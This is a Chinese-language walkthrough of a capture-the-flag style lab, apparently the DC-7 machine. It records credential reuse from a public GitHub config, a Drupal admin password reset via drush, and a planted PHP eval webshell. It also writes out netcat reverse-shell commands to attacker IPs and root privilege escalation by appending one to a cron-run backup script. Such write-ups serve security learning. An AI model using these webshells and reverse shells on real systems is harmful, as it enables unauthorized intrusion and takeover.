1.发现主机 netdiscover -i eth1 -r 192.168.10.0/24 192.168.10.140
2.在网页上发现有login的登陆 想到要破解密码 但是感觉很麻烦因为不像wordpress可以列举用户再破解密码 页面说要跳出思维的框框
应该有其他的线索发现 发现页面左下角有一个@DC7USER 访问一下 https://github.com/Dc7User/staffdb 发现在config.php文件中存在账号密码
3.使用dc7user/MdR3xOgB7#dW 登录80端口的页面,登录失败。回想到还开放了22端口,设想能否通过ssh连接。连接成功。
ssh dc7user@192.168.10.140
MdR3xOgB7#dW
查看发现有两个文件,backups进去是两个后缀为gpg的文件,gpg命令是用来加密文件的,没有密码本根本无法查看加密后的文件。我们放弃这条路。
cat mbox失败,发现有提示,你有一个新的右键 提示you have new mail in /var/mail/dc7user
####在linux下的邮件一般有两种形式,一种是mbox形式,一种是maildir形式,mbox是以一个txt文件的形式存储用户的邮件,而maildir是以一个目录的形式,
目录下又分成tmp,cur,new三个目录,用户写邮件、发送邮件、接收邮件将使用不同的目录。
cat /var/mail/dc7user 提示去 /opt/scripts/backups.sh
查看发现两个命令,gpg和drush,gpg是用来加密的,drupal框架中用来做一些配置的命令,它可以改变网站后台admin用户的密码。
修改密码时切记一定要在网站源码所在目录更改,切换到/var/www/html目录下
drush user-password admin --password="admin"
使用admin/admin登录网页成功。
4.网站找了一圈,发现可以直接在content>>Add content>>Basic page下添加PHP反弹shell。
发现Drupal 8不支持PHP代码,查阅资料发现Drupal 8后为了安全,需要将php单独作为一个模块导入
php模块: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 添加模块 点击Enable newly added modules激活模块
点击前几栏的收回三角标志,找到PHP Filetr勾选,并且点击install
5.、1.写入一句换木马,使用蚁剑进行连接,反弹shell
在Content—>Add content–>Basic page下,准备写入一句话木马
GetShell
<?php
@eval($_REQUEST[123]);
?>
#################在这一步也可以直接反弹shell <?php systemctl('nc -e /bin/sh 192.168.10.144 4444')>但是试了一下 好像不行 网上的博主是成功了
页面是http://1929.168.10.140/node/4 密码123 连接成功 蚁剑上进入终端尝试反弹shell nc -e /bin/sh 192.168.10.140 4444
kali端先监听
nc -lvvp 4444
6.提权
1.反弹shell成功,转换交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'
2、将反弹shell命令写入backups.sh脚本文件
提权想到之前那个在/opt/scripts目录下的backups.sh脚本文件所属组是root和www-data,而当前用户正是www-data,
所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
首先,kali再监听一个端口
nc -lvvp 6666
之后将反弹shell写入脚本 /var/www/html
echo "nc -e /bin/bash 192.168.10.140 6666" >> /opt/scripts/backups.sh
3、等待backups.sh脚本文件执行,拿到root权限,得到flag
由邮件内容中发送的时间可知这个sh文件每隔15分钟会执行一次,耐心等待一会,获得root权限,进入root目录下得到flag